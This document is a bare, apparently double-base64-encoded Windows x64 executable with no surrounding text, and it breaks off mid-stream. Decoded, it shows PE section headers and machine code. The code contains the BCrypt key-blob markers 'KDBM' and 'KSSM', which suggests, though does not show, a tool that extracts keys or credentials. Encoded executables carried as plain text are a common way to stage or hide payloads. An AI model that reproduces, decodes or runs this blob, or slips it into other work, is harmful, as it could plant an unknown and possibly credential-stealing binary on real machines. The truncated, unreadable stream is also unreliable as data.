BQUFBQURBR0FCQUFBUUFBQUFBQUFBRUFBQUFBQUFBQUFBRUFBQUFBQUFBQkFBQUFBQUFBQUFBQUFBRUFBQUFPQStCd0JmQUFBQVFEOEhBRUFCQUFBQThBY0FpQUlBQUFEQUJ3Q2dLUUFBQUFBQUFBQUFBQUFBQUFnQTZCVUFBTkFZQndBY0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQThCZ0hBSlFBQUFBQUFBQUFBQUFBQUFBd0JBQVlDUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFMblJsZUhRQUFBQ3dGd1FBQUJBQUFBQVlCQUFBQkFBQUFBQUFBQUFBQUFBQUFBQUFJQUFBWUM1eVpHRjBZUUFBaWpBREFBQXdCQUFBTWdNQUFCd0VBQUFBQUFBQUFBQUFBQUFBQUVBQUFFQXVaR0YwWVFBQUFIeExBQUFBY0FjQUFEZ0FBQUJPQndBQUFBQUFBQUFBQUFBQUFBQkFBQURBTG5Ca1lYUmhBQUNnS1FBQUFNQUhBQUFxQUFBQWhnY0FBQUFBQUFBQUFBQUFBQUFBUUFBQVFDNXljM0pqQUFBQWlBSUFBQUR3QndBQUJBQUFBTEFIQUFBQUFBQUFBQUFBQUFBQUFFQUFBRUF1Y21Wc2IyTUFBT2dWQUFBQUFBZ0FBQllBQUFDMEJ3QUFBQUFBQUFBQUFBQUFBQUJBQUFCQ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUVpSlhDUUlTSWwwSkJCWFNJUHNJRWlMd2tpTCtVaUYwblVFU0kxQktFeUpRVGhJalJWVEFBQUFUSWxKUUV5THdVeU5TU0JJaThqb2pHUUNBSXZZaGNCMEVBKzMySUhMQUFBSGdJWEFEMDdZNnhaTWkwY0l1Z0lBQUFCSWkwOGdSUSszQ09qa1pBSUFTSXQwSkRpTHcwaUxYQ1F3U0lQRUlGL0R6TXhJaThSSWlWZ0lTSWxvRUVpSmNCaElpWGdnUVZSQlZrRlhTSVBzUUVpTG5DU1FBQUFBVFl2NVFZcndSSXZ5VEl2aFNJWGJkRzFJaTZ3a2dBQUFBSXZDaGRKMElvUDRBWFVnUVErMnlMZ0FBUUFBLzhGTWlVc1FSWVRBU0lsckdBOUZ3WWtENndPREl3QklpM3M0U0lYL2RERklpOC9vQ2xZQ0FFaUxRMEJOaTg5SWlVUWtNRVNLeGtpTGhDU0lBQUFBUVl2V1NJbEVKQ2hKaTh4SWlXd2tJUC9YU0l0Y0pHQklpMndrYUVpTGRDUndTSXQ4SkhoSWc4UkFRVjlCWGtGY3c4ek1RRk5JZyt4QVNJMEZPd2dIQUVTTDBrUXIwRTJMMklvRjN3Z0hBRXlOUWdTTEFraUwyVWlMVkNSNFFZSEtBQUFBQzRsRUpEUkJpd0NKUkNRNFFZdEFCRW1Ed0FpSlJDUThTSXRCQ0VpSkFraUxRUWhJaVZRa0tFU0pWQ1F3RDdjSVRJbENFSWxLQ01kQ0RBSUFBQUJCRDdjQVRZdkRpVUlZaTBRa2NNZENIQUVBQUFCSWpWUWtNRWlMU3lDSlJDUWc2RTlrQWdCSWc4UkFXOFBNek16TXpFaU5CWUdwQndERFRJbEVKQmhNaVV3a0lGTlZWbGRJZyt3NFNZdndTSTFzSkhoSWk5cElpL25vMC8vLy8waUpiQ1FvVEl2T1NJTmtKQ0FBVEl2RFNJdlhTSXNJNkllY0FnQ0R5ZitGd0E5SXdVaUR4RGhmWGwxYnc4ek1TSWxjSkFoSWlXd2tFRWlKZENRWVYwRldRVmRJZyt3Z1RJdnhUSXY2U0lzSnNvQ0VVUUYwRUErM1FRSm13Y2dJRDdmWWc4TUU2d2NQdGxrQmc4TUNRWVJYQVhRUlFRKzNSd0ptd2NnSUQ3ZndnOFlFNndoQkQ3WjNBWVBHQW9wQkFibEFBQUFBaE1KMFNvMFVIdjhWbVNJRUFFaUwrRWlGd0ErRTRRQUFBRW1MRmt5THcwaUx5T2dYQ3dRQVJJdkdTSTBNTzBtTDErZ0lDd1FBRDdkSEFtYkJ5QWhtQThabXdjZ0lab2xIQXVtWEFBQUFEN2JvQSs2RC9YOTJXNHZWU0lQQ0JQOFZRaUlFQUVpTCtFaUZ3QStFaWdBQUFFbUxGa2lOU0FSRUQ3WkNBVWlEd2dMb3VRb0VBRW1MQmttTDEwU0x4ZysyU0FGSWc4RUVTQVBQNktBS0JBQkppd1ptd2MwSWlnaUlEOFpIQVlKbWlXOEM2ektORkI3L0Zlb2hCQUJJaS9oSWhjQjBOa21MRmt5THcwaUx5T2hzQ2dRQVJJdkdTSTBNTzBtTDEraGRDZ1FBUUFCM0FVbUx6LzhWeUNFRUFFbUxEdjhWdnlFRUFFbUpQa2lMWENSQVNJdHNKRWhJaTNRa1VFaUR4Q0JCWDBGZVg4UE16TXhJaVZ3a0NFaUpkQ1FRVjBpRDdDQ0sya2lMOGJvQ0FBQUFTWXY0alVvKy94VnJJUVFBU0lYQWRBbUF5NkRHUUFFQWlCaElpVVFrU0VpRndIUW5TSVgvZEJKSWk5ZElqVXdrU09nMS92Ly9TSXRFSkVoSWhjQjBDMGlMMEVpTHp1Z2cvdi8vU0l0Y0pEQklpM1FrT0VpRHhDQmZ3MGlKWENRSVNJbHNKQkJJaVhRa0dGZEJWa0ZYU0lQc0lFR0wrRVNLOGJsQUFBQUFTWXZwU0l2eVFZUDRmM1l5U0kxWEJFU0wvLzhWNENBRUFFaUwyRWlGd0hSS1pzSFBDRVNJTU1aQUFZSm1pWGdDU0lYMmREWklqVWdFUll2SDZ5VklqVmNDL3hXeElBUUFTSXZZU0lYQWRCdEVpREJBaUhnQlNJWDJkQTlJalVnQ1RJdkhTSXZXNkNZSkJBQkloZTEwRWtpRjIzUUxTSXZUU0l2TjZHMzkvLzh6MjBpTGJDUklTSXZEU0l0Y0pFQklpM1FrVUVpRHhDQkJYMEZlWDhQTXpNeElnK3g0U0kxVUpGRC9GVkVnQkFDRndIUm1EN2RNSkZvUHQxUWtXRVFQdDBRa1ZnKzNSQ1JjUkErM1ZDUlNSQSszVENSUWlVUWtRSWxNSkRoSWpVd2tZSWxVSkRDNkVBQUFBRVNKUkNRb1RJMEZRcU1FQUVTSlZDUWc2Smo4Ly8rRndINFZSVFBKU0kxVUpHQ3hHRVdOUVEvb3hmNy8vK3NDTThCSWc4UjR3MEJUU0lQc01FaUwwVUd3QVVpTlRDUWdNOXYvRmQ4aUJBQ0Z3SGdqUkErM1JDUWdSVFBKU0l0VUpDaXhHK2lLL3YvL1NJMU1KQ0JJaTlqL0ZiQWlCQUJJaThOSWc4UXdXOFBNek14SWk4UkVpVUFZU0lsUUVFaUpTQWhWVTFaWFFWUkJWVUZXUVZkSWpXaWhTSUhzaUFBQUFEUGJTSTFONTBTTDYwaUpIZWFpQndCSWpUM2ZvZ2NBL3hVSkhRUUFSSTFMRWtVendEUFNTSTFONS84VmZpRUVBRXlMOEVpRCtQOFBoUEFDQUFDTDg0bGRkMGlOUmZmSFJmY2dBQUFBUkl2T1NJbEVKQ0JNalVYbk05SkppODcvRlRvaEJBQ0pSV2RFaStDRndBK0VvZ0lBQUVpTlJXOUlpVndrS0VVenlVaUpSQ1FnUlRQQWlWMXZTSTFWOTBtTHp2OFZFQ0VFQUlYQUQ0VjJBZ0FBL3hYNkhnUUFnL2g2RDRWbkFnQUFpMVZ2alVqRy94V3RIZ1FBVEl2NFNJWEFENFJQQWdBQXh3QUlBQUFBU0kxVjkwU0xUVzlJalVWdlNJbGNKQ2hOaThkSmk4NUlpVVFrSVA4VnVTQUVBSVhBRDRRV0FnQUF1UU1BQUFCSWlWd2tNRVNMd1lsY0pDaUpUQ1FnUlRQSlNZMVBCRFBTL3hWMUhnUUFUSXZnU0lQNC93K0V6UUVBQUVpTlZkZkhSZGNNQUFBQVNJdkkveFhNR3dRQWhNQVBoS1lCQUFBUHQxWGRTSTBGUTZvRUFFUVB0MFhiaTh0bVJEbEEvblVKWmprUUQ0UXNBUUFBLzhGSWc4QVFnL2tHY3VWSWkvTkloZllQaEdvQkFBRDJSZ1FDRDRSZ0FRQUF1cUFBQUFDTlNxRC9GZE1kQkFCSWlRZEloY0FQaEVZQkFBQklqVlYvU1l2TS94VnFHd1FBaE1CMExVaUxGMGlMVFg5SWc4SWsveFZOR3dRQWhjQjVEb3ZRU0kwTk1LSUVBT2lMWndBQVNJdE5mLzhWUVJzRUFFbU5Ud1RvOUprQ0FFaUx5RWlKWENRd1NJc0hSVFBKaVZ3a0tFaUpTQkJKalU4RVNJc1g4ZzhRUmRmeUR4RkNHSXRGMzRsQ0lFaUxCMGlKY0doSWl3ZEVpV2dJdUFNQUFBQkVpOENKUkNRZ2k5RC9GVmtkQkFCSWk4aElpd2RJaVVoNFNJc1BTSXRCZUVqL3lFaUQrUDEzZWNlQmdBQUFBSWdUQUFCTWpRWCtBQUFBVElzUE04bElpVndrS0RQU2lWd2tJUDhWUUIwRUFFaUx5RWlMQjBpSmlJZ0FBQUJJaGNsMEhVaUxQMEgveGV0VmkvRklqUVgxcUFRQVNNSG1CRWdEOE9uTi92Ly8veFh6SEFRQWk5QklqUTNLb1FRQTZLVm1BQUJJaXc5SWkwbDQveFhvSEFRQTZ4VC9GZEFjQkFDTDBFaU5EVWVpQkFEb2dtWUFBRWlMRC84VmtSd0VBSXQxZDBtTHpQOFZ2UndFQU9zVS94V2xIQVFBaTlCSWpRMnNvZ1FBNkZkbUFBQkVpMlZuU1l2UC94VmlIQVFBLzhhSmRYZEZoZVFQaFNEOS8vOUppODcvRldzZUJBRHJGUDhWYXh3RUFJdlFTSTBORXFNRUFPZ2RaZ0FBUllYdEQ1WERpOE5JZ2NTSUFBQUFRVjlCWGtGZFFWeGZYbHRkdzh4SWlWd2tFRmRJZyt3Z00vOUlpOWxJaGNsMFlVZzV1NGdBQUFCMFdEbTdnQUFBQUhSUVNEbDdlSFJLUlRQSlNNZEVKRENQQUFBQVNJMVVKREJJaTh0RmpVRUI2RHdBQUFDRndIUU9pNHVBQUFBQS94WGdHd1FBNjdwSWkwdDQveFhzR3dRQVNJbDdlSW03Z0FBQUFFaUp1NGdBQUFBendFaUxYQ1E0U0lQRUlGL0R6TXhJaVZ3a0NFaUpiQ1FRU0lsMEpCaFhRVlpCVjBpRDdFQXovMHlMOGtpTDJVV0wrVUdMOEkxWFFZMVBRUDhWVWhzRUFFaUw2RWlGd0hSZmpVOEl2d0VBQUFBNzhROUN6b1hKZEU1SmpWWUNSSXZKVEkxQUFvcEMva0dJUVArS1F2OUJpQUJOalVBSWlnSklqVklJUVloQStZcEMrVUdJUVBxS1F2cEJpRUQ3aWtMN1FZaEEvSXBDL0VHSVFQMktRdjFCaUVEK1RDdlBkYjJGL3crRW13QUFBT21FQUFBQU0vWkloZHQwWUVpTFMzaElqVUgvU0lQNC9YZFNSQSszU3lwRWpVWkJSVHZJY2pOSUlYUWtJRXlOVENRd1NJdlYveFhJR2dRQWkvQ0Z3SFU2L3hYVUdnUUFpMU1JU0kwTkNxSUVBRVNMd09pQ1pBQUE2eUNMVXdoSWpRMldvZ1FBNkhGa0FBRHJENHRUQ0VpTkRVV2pCQURvWUdRQUFDUCtSWVgvZEFWSWl4dnJBalBiU0lYYkQ0VnovLy8vU0l2Ti94VllHZ1FBU0l0Y0pHQ0x4MGlMYkNSb1NJdDBKSEJJZzhSQVFWOUJYbC9EekVpTHhFaUpXQkJJaVhBWVYwaUQ3Q0RIUUFnQUFBQUFpL0xIUUF3QUFBQ0FTSXY1U0l2WlNJWEpkRE9EbzVBQUFBQUFTSXVMbUFBQUFFaUZ5WFFRTTlML0ZTWWFCQUJJZzZPWUFBQUFBSVgyZEFWSWl4dnJBalBiU0lYYmRjMUVpODVJalZRa01FRzRBUUFBQUVpTHorZzAvdi8vU0l0Y0pEaElpM1FrUUVpRHhDQmZ3MGlMeEVpSldBaElpV2dRU0lsd0dFaUplQ0JCVkVGV1FWZElnK3dndW9BQUFBQklpL21OU3NEL0ZYb1pCQUJJaTloSWhjQVBoT29BQUFBUEVBZElqVmMwRHhFQUR4QlBFQThSU0JBUEVFY2dEeEZBSUl0UE1FaUpVRFNKU0RDTHdZc01FRWlEd2dSSUE5Q0pTenhJaVZOQWk4R0xEQkZNalVJRVRBUEFpVXRJVElsRFRJdkJRb3NNQVVtTlVBUklBOUNKUzFTTHdVaUpVMWlMREJGTWpVSUVUQVBBaVV0Z1RJbERaRUtMRkFGTmpVZ0VSSXRESkV3RHlZbFRiRXlKUzNCRmhjQjBGb3ZDU0kxVGVJdklnK0VCU0FQSVNRUEo2TWdDQUFDTFV6QklqVXMwNkVpakFBQ0xVenhJalV0QTZEeWpBQUNMVTBoSWpVdE02RENqQUFDTFUxUklqVXRZNkNTakFBQ0xVMkJJalV0azZCaWpBQUNMVTJ4SWpVdHc2QXlqQUFCSWkyd2tTRWlMdzBpTFhDUkFTSXQwSkZCSWkzd2tXRWlEeENCQlgwRmVRVnpEek14SWlWd2tDRmRJZyt4QVNJdmFTSTA5OUY0RkFFeUx4MGlORGZKZUJRQXowdWd6WWdBQVNJWGJENFFqQWdBQVJJc0xTSTBOQUY4RkFFeUx4MFNKVENRZ005TG9FV0lBQUVTTFN3UklqUTAyWHdVQVRJdkhSSWxNSkNBejB1ajNZUUFBUkl0TENFaU5EV3hmQlFCTWk4ZEVpVXdrSURQUzZOMWhBQUJFaTBzTVNJME5vbDhGQUV5THgwU0pUQ1FnTTlMb3cyRUFBRVNMU3hCSWpRM1lYd1VBVEl2SFJJbE1KQ0F6MHVpcFlRQUFUSXZIU0kwTkIyQUZBRFBTNkpoaEFBQklqVXNVU0lYSmRBWG9PcUFBQUVpTkRSdGdCUURvZm1FQUFFU0xTeHhJalEwVFlBVUFUSXZIUklsTUpDQXowdWhrWVFBQVJJdExJRWlORFVsZ0JRQk1pOGRFaVV3a0lEUFM2RXBoQUFCRWkwc2tTSTBOZjJBRkFFeUx4MFNKVENRZ005TG9NR0VBQUVTTFN5aElqUTIxWUFVQVRJdkhSSWxNSkNBejB1Z1dZUUFBUkl0TExFaU5EZXRnQlFCTWk4ZEVpVXdrSURQUzZQeGdBQUJNaTBzMFNJME5HV0VGQUV5THh6UFM2T2RnQUFCTWkwdEFTSTBOUEdFRkFFeUx4elBTNk5KZ0FBQk1pMHRNU0kwTlgyRUZBRXlMeHpQUzZMMWdBQUJNaTB0WVNJME5nbUVGQUV5THh6UFM2S2hnQUFCTWkwdGtTSTBOcFdFRkFFeUx4elBTNkpOZ0FBQk1pOGRJalEzSllRVUFNOUxvZ21BQUFBKzNRMnhJalV3a01HYUpSQ1F5Wm9sRUpEQklpME53U0lsRUpEam84Wm9BQUlYQWRCTklqVlFrTUVpTkRjRmhCUURvVEdBQUFPc1ZEN2RVSkRCQnVBRUFBQUJJaTB3a09PZ2xuZ0FBU0kwTnhsNEZBT2dwWUFBQVJJdExKRWlORFpaaEJRQk1pOGN6MHVnVVlBQUFSSXRESkVpTFUzam9ld0VBQUVpTFhDUlFTSVBFUUYvRFNJdkVTSWxZRUVpSmFCaElpWEFnU0lsSUNGZEJWRUZWUVZaQlYwaUQ3Q0JJaS9KRmkrQkJpOUJNaS9Fei8wakI0Z05GaS9pTlQwRC9GY1lWQkFCSWlRWkloY0FQaExFQUFBQXo3VVV6N1kxOUFVV0Y1QStFOWdBQUFFVXovNFgvRDRTU0FBQUF1aHdBQUFCQmk5MUpBOTZOU2lUL0ZZb1ZCQUJNaS9CSWhjQjBPa2lMQTB5TlF3aEppUVpKalU0SVFZdFdCRXlKQVVLTEJBSkJpVVlRU0kxQ0JFa0R3RW1KUmhUbzNaOEFBRUdMVmhCSmpVNFU2TkNmQUFCSWl3Wk5pVFFIVFlYMmRCWklpd1pCZzhVTVNZc01CNHRCRUFOQkJFUUQ2T3NDTS85TWkzUWtVUC9GU1lQSENFRTc3QStDYXYvLy80WC9kVmxOaS94SWl5NUloZTEwU2tXRjVIUThUSXYxU1lzZVNJWGJkQ2RJaTBzSVNJWEpkQWIvRmZJVUJBQklpMHNVU0lYSmRBYi9GZU1VQkFCSWk4di9GZG9VQkFCSmc4WUlTWVB2QVhYSFNJdk4veFhIRkFRQVNJTW1BRWlMWENSWWk4ZElpMndrWUVpTGRDUm9TSVBFSUVGZlFWNUJYVUZjWDhORmhjQVBoQ0lCQUFCSWlWd2tDRWlKZENRUVYwaUQ3RUJCaTloSWkvcEloZElQaFBVQUFBQ0wwMGlORFFSZ0JRRG9WMTRBQUlYYkQ0VGZBQUFBU0lzM1RJMEY5Vm9GQUxvQ0FBQUFTSTBOQ1dBRkFPZzBYZ0FBU0lYMkQ0U3RBQUFBUklzT1RJMEYwVm9GQUxvQ0FBQUFSSWxNSkNCSWpRMElZQVVBNkF0ZUFBQk1pMDRJVEkwRnNGb0ZBTG9DQUFBQVNJME5KR0FGQU9qdlhRQUFUSTBGbUZvRkFMb0NBQUFBU0kwTk5HQUZBT2pYWFFBQUQ3ZEdFRWlOVENRd1pvbEVKREptaVVRa01FaUxSaFJJaVVRa09PaEdtQUFBaGNCMEUwaU5WQ1F3U0kwTkZsOEZBT2loWFFBQTZ4VVB0MVFrTUVHNEFRQUFBRWlMVENRNDZIcWJBQUJJalEwYlhBVUE2SDVkQUFCSWc4Y0lTSVByQVErRklmLy8vMGlMWENSUVNJdDBKRmhJZzhSQVg4TklpOFJJaVZnSVNJbG9FRWlKY0JoSWlYZ2dRVlpJZyt3Z3VqZ0FBQUJJaS9HTmVnaUx6LzhWUEJNRUFFaUwyRWlGd0hSMUR4QUdqVmZzaTg4UEVRRHlEeEJPRUVpRHhoanlEeEZJRUl0b0ZFaUpjQmdQRUFRdTh3OS9RQ0QvRlFVVEJBQklpL2hJaGNCMExnOFFSQzRRU0kxSUpBOFJBQThRVEM0Z0R4RklFSXRVTGpDSlVDQklqVlkwU0FQVlNJa1JpMUFnNkZlZEFBQ0xVeFJJalVzWVNJbDdNT2hIblFBQVNJdHNKRGhJaThOSWkxd2tNRWlMZENSQVNJdDhKRWhJZzhRZ1FWN0R6RWlKWENRSVNJbHNKQkJYU0lQc01FaUwya2lOUFM5WkJRQk1pOGRJalEzdFhnVUFNOUxvYmx3QUFFaUYydytFQXdFQUFFU0xDMGlORFFOZkJRQk1pOGRFaVV3a0lEUFM2RXhjQUFCTWk4ZElqUTBpWHdVQU05TG9PMXdBQUVpTlN3VG9vcHNBQUVpTkxjTmFCUUJJaTgzb0kxd0FBRXlMU3hoSWpRMFlYd1VBVEl2SE05TG9EbHdBQUl0REtFaU5EU3hmQlFCRWkwc2dUSXZIaVVRa0tEUFNpME1raVVRa0lPanJXd0FBU0l0Yk1FaUYyM1I0VEl2SFNJME5RRjhGQUxvQ0FBQUE2TTViQUFCSWhkdDBYMHlMeDBpTkRWOWZCUUM2QWdBQUFPaTFXd0FBU0l2TDZCMmJBQUJJaTgzb3BWc0FBRXlMeDBpTkRWdGZCUUM2QWdBQUFPaVJXd0FBU0kxTEVPajRtZ0FBU0l2TjZJQmJBQUJJaTFNa3VRSUFBQURvRWlBQUFFaUx6ZWhxV3dBQVNJdk42R0piQUFCSWkxd2tRRWlMYkNSSVNJUEVNRi9Eek13endFRzdTMFJDVFVHNlMxTlRUVVU1V1F4MUhVR0RlUWdDRDRXaUFBQUFRWU41RkJBUGhaY0FBQUJCRHhCQkdPc2dSVGxSRUErRmhnQUFBRUdCZVNDQUFBQUFkWHhCZzNra0VIVjFRUThRUVNqekQzOEJRWXZJUVlOOENRUTBjbUZGT1Z3SkVIVW91QUVBQUFCQk9VUUpESFVaUVlOOENSZ2dkUkZCRHhCRUNSd1BFUUpCRHhCTUNTenJNVFBBdzBVNVZBa1VkU3RCZ1h3SkpBQUJBQUIxSUVHRGZBa29JSFVZUVE4UVJBa3N1QUVBQUFBUEVRSkJEeEJNQ1R3UEVVb1F3OHpNU0lsY0pBaElpV3drR0ZaWFFWWklnK3dndWtnQUFBQklpK21OU3ZqL0ZYRVFCQUJJaTloSWhjQVBoQzRCQUFBUEVFVUFTSTFJS0V5TlJTZ1BFUUJNalhNMER4Qk5FQThSU0JEeUR4QkZJUElQRVVBZ2kxQWtUSWtCUW9zRUFvbERNRW1OUUFSSUE4SkppUWJvckpvQUFJdFRNRW1MenVpaG1nQUFpMHN3U0xpcnFxcXFxcXFxcWtqMzRibEFBQUFBU01IcUE0TjdFQVNKVXp5RDBnQkl3ZUlEL3hYc0R3UUFTSWxEUUVpRndBK0VxQUFBQUVpTGZDUklNL1k1Y3p4MlhMb29BQUFBalVvWS94WEZEd1FBU0l0TFFFaUpCUEZJaGNCME9rbUxCa2lOREhhTGZJZ0VTSXREUUVnRC9VaUxEUEFQRUFmekQzOEJnejlrU0l2UGNnUklqVThFU0l0VFFFaUR3UkJJaXhUeTZGNEFBQUQveGp0elBIS2tTSVgvZER1RGV4QUVjelc2S0FBQUFJMUtHUDhWWGc4RUFFaUxTMEJJaVFUeFNJWEFkQnBJaTFOQVNJMVBGb3RIRUVnRHlFaUxGUExvR2dBQUFQOURQRWlMYkNSUVNJdkRTSXRjSkVCSWc4UWdRVjVmWHNQTVNJbGNKQWhYU0lQc0lJc0JTSXY2aVVJUVNJdlpoY0IwUXYvSVNJUERCWWxDRUlwQkJJVEFkQ09EUWhEOGl4T0pWeHlGMG5RV0tWY1FTSTFQSUVpRHd3UklpUmxJQTlyb1hKa0FBSXRYRUVpTlR4UklpUm5vVFprQUFFaUxYQ1F3U0lQRUlGL0R6TXhJaGNrUGhLZ0FBQUJJaVZ3a0NFaUpkQ1FRVjBpRDdDQklpOWxJaTBrb1NJWEpkQWIvRlo0T0JBQklpMHMwU0lYSmRBYi9GWThPQkFCSWczdEFBSFJaTS84NWV6eDJTRWlMUTBCSWl3ejRTSVhKZERSSWkwa1VTSVhKZEFiL0ZXVU9CQUJJaTBOQVNJc00rRWlMU1NCSWhjbDBCdjhWVGc0RUFFaUxTMEJJaXd6NS94VkFEZ1FBLzhjN2V6eHl1RWlMUzBEL0ZTOE9CQUJJaTh2L0ZTWU9CQUJJaTF3a01FaUxkQ1E0U0lQRUlGL0R6TXhJaVZ3a0NFaUpkQ1FRU0lsOEpCaEJWRUZXUVZkSWcreEFTSXY2VEkwMWlWUUZBRTJMeGtpTkRhOWJCUUF6MHVqSVZ3QUFTSVgvRDRRcUFnQUFUWXZHU0kwTnpWc0ZBRFBTNks1WEFBQklpOC9vRnBjQUFFeU5KVGRXQlFCSmk4em9sMWNBQUVTTFR4QklqUTNjV3dVQVRZdkdSSWxNSkNBejB1aDlWd0FBVFl2R1NJME5FMXdGQURQUzZHeFhBQUJJalU4VVNJWEpkQVhvRHBZQUFFbUx6T2hXVndBQVJJdFBIRWlORFN0Y0JRQk5pOFpFaVV3a0lEUFM2RHhYQUFCRWkwOGdTSTBOWVZ3RkFFMkx4a1NKVENRZ005TG9JbGNBQUV5TFR5aElqUTJYWEFVQVRZdkdNOUxvRFZjQUFFU0xUekJJalEzQ1hBVUFUWXZHUklsTUpDQXowdWp6VmdBQWkwOHdTTDZycXFxcXFxcXFxa2lMeGpQYlNQZmhTTUhxQTBpRjBuUlJSVFBBU0l0WE5FK05CRUJDaTB5Q0JFS0xSSUlJUm9zTWdrMkx4b2xFSkRnejBvbEVKRENKVENRb2lVd2tJRWlORGJCY0JRRG9tMVlBQUl0UE1QL0RTSXZHUkl2RFNQZmhTTUhxQTB3N3duS3lNL1k1ZHp3UGh0d0FBQUJFalg0Q1NJdEhRRWlORGZwY0JRQk5pOFpCaTlkSWl4enc2RnRXQUFCSWhkc1BoS29BQUFCRWl3dElqUTBnWFFVQVRZdkdSSWxNSkNCQmk5Zm9PRllBQUl0RERFaU5EVlpaQlFCRWkwc0VUWXZHaVVRa0tFR0wxNHREQ0lsRUpDRG9GRllBQUlON0hBQjBNRWlEZXlBQWRDbE5pOFpJalEwTlhRVUFRWXZYNlBWVkFBQ0xVeHhGTThCSWkwc2c2TmFUQUFCSmk4em8zbFVBQUlON0VBQjBNRWlEZXhRQWRDbE5pOFpJalEzM1hBVUFRWXZYNkw5VkFBQ0xVeEJGTThCSWkwc1U2S0NUQUFCSmk4em9xRlVBQVAvR08zYzhENElvLy8vL1NZdk02SlZWQUFCSWkxd2tZRWlMZENSb1NJdDhKSEJJZzhSQVFWOUJYa0Zjdzh6TXpFaUpYQ1FJU0lsc0pCQklpWFFrR0ZkSWcrd2d1aFFBQUFCSWkvR05TaXovRlZzTEJBQklpOWhJaGNCMGVmSVBFQWJ5RHhFQWkwNElpVWdJZzNnRUFIUmxpMUFFdVVBQUFBQkl3ZUlEL3hVdEN3UUFTSWxEREVpRndIUktTSVBHRERQL09Yc0VkaitMUmdTNVFBQUFBSVBBQ0l2UWkrai9GUVFMQkFCSWkwc01TSWtFK1VpRndIUVRTSXRMREVTTHhVaUwxa2lMRFBub2ZQTURBRWdEOWYvSE8zc0Vjc0ZJaTJ3a09FaUx3MGlMWENRd1NJdDBKRUJJZzhRZ1g4UE16RWlMeEVpSldBaElpV2dRU0lsd0dFaUplQ0JCVmtpRDdFQklpOXBJalMxRlVRVUFRYjRDQUFBQVNJME4yRnNGQUV5THhVR0wxdWg5VkFBQVNJWGJENFJJQVFBQVJJc0xTSTBORWx3RkFFeUx4VVNKVENRZ1FZdlc2RnBVQUFCRWkwc0VTSTBOTDF3RkFFeUx4VVNKVENRZ1FZdlc2RDlVQUFCRWkwc0lTSTBOVEZ3RkFFeUx4VVNKVENRZ1FZdlc2Q1JVQUFCSWczc01BQStFN1FBQUFFaU5EYXBTQlFEb0RWUUFBRFAvT1hzRUQ0YldBQUFBVEl2RlNJME5TRndGQUVHTDF1andVd0FBU0l0RERFaUxEUGlMQVlQb0FYUXNnK2dCZEI2RCtBRjBFSXNSU0kwTnBsd0ZBT2pKVXdBQTZ4NUlqUTF3WEFVQTZ4QklqUTAvWEFVQTZ3ZElqUTBPWEFVQTZLbFRBQUJJaTBNTVNJc00rSU01WkVpTlFRaElpVVFrT0ErM1FRUm1pVVFrTW1hSlJDUXdjeWhJalV3a01PZ0xqZ0FBaGNCMEdraUxRd3hJalExb1hBVUFTSXNVK0VpRHdnam9YMU1BQU9zYVNJdERERUc0QVFBQUFFaUxGUGhJalVvSWkxSUU2RE9SQUFCSWpRM1VVUVVBNkRkVEFBRC94enQ3QkErQ0t2Ly8vMGlMWENSUVNJdHNKRmhJaTNRa1lFaUxmQ1JvU0lQRVFFRmV3OHhNaTl4SmlWc0lTWWxyRUVtSmN4aEppWHNnUVZaSWcreEFTSXQwSkhoSmpVUHdTSXZxU1lsRDJFMkw4VUdMK0l2UlJUUEpTSXNPUlRQQU05di9GZFlEQkFDRndBK0Vsd0FBQUVpTFRDUTRSVFBKUkl2SFNJdlYveFd5QXdRQWhjQjBkRWlMVENRNGpXc0NpOVdKWENRZ1RJMU1KREJGTThEL0ZXb0RCQUNGd0hSVWkxUWtNSTFMUVA4VmlRZ0VBRWlMK0VpRndIUS9TSXRNSkRoTWpVd2tNRXlMd0lsY0pDQ0wxZjhWT0FNRUFJdFVKSEJKaTg0NVZDUXdpOWdQUWxRa01FU0x3a2lMMStqajhBTUFTSXZQL3hWU0NBUUFTSXRNSkRqL0ZSOERCQUJJaXc0ejB2OFY1QUlFQUVpTGJDUllpOE5JaTF3a1VFaUxkQ1JnU0l0OEpHaElnOFJBUVY3RHpNek1TSXZFU0lsWUNFaUphQkJJaVhBWVNJbDRJRUZVUVZaQlYwaUQ3REJCaS9GTWkrRXoyN2tEWmdBQVRZdndSSXY2alc0TU85RjBZSXZWalV0QS94WEtCd1FBU0l2NFNJWEFkSHRFaThiSEFBZ0NBQUJJalVnTVJJbDRCRW1MMW9sd0NPZys4QU1BU0l0RUpIaEZNOGxJaVVRa0tFU0x4WXRFSkhCSWk5ZEppOHlKUkNRZy94VmFBZ1FBU0l2UGk5ai9GWWNIQkFEckxraUxoQ1NBQUFBQVNJWEFkQ0ZFaTB3a2NFU0x4a2lKUkNRb1NZdldTSXRFSkhoSWlVUWtJT2dWQ3dBQWk5aElpMndrV0l2RFNJdGNKRkJJaTNRa1lFaUxmQ1JvU0lQRU1FRmZRVjVCWE1QTXpFaUx4RWlKV0FoSWlYQVFTSWw0R0V5SllDQlZRVlZCVjBpTmFJaElnZXhnQVFBQU0vOUJpL0JFTzRXZ0FBQUFUWXY1U0l2YVJJdmhRQStUeDRYL2RBOUVpNFdnQUFBQVNZdko2UUVCQUFCQnZVQUFBQUJJalV3a1FFV0x4VUdOVmZibzFrSUNBRVdMeFVHTlZSeElqVTJBNk1aQ0FnQ0Y5blFqU0kxTUpFQk1pOFpJSzh0SWpWV0FTQ3ZUaWdNd0JCa3dCQnBJLzhOSmcrZ0JkZSs3QUFBQThFaU5UQ1F3UWJrWUFBQUFpVndrSUVVendEUFMveFdZQVFRQWhjQjBKRWlOUkNRd1JZdkZTSWxFSkNoTWpVM0FTSTFVSkVDSmRDUWdRWXZNNkNyOS8vL3JBalBBaGNCMGEwRzVHQUFBQUlsY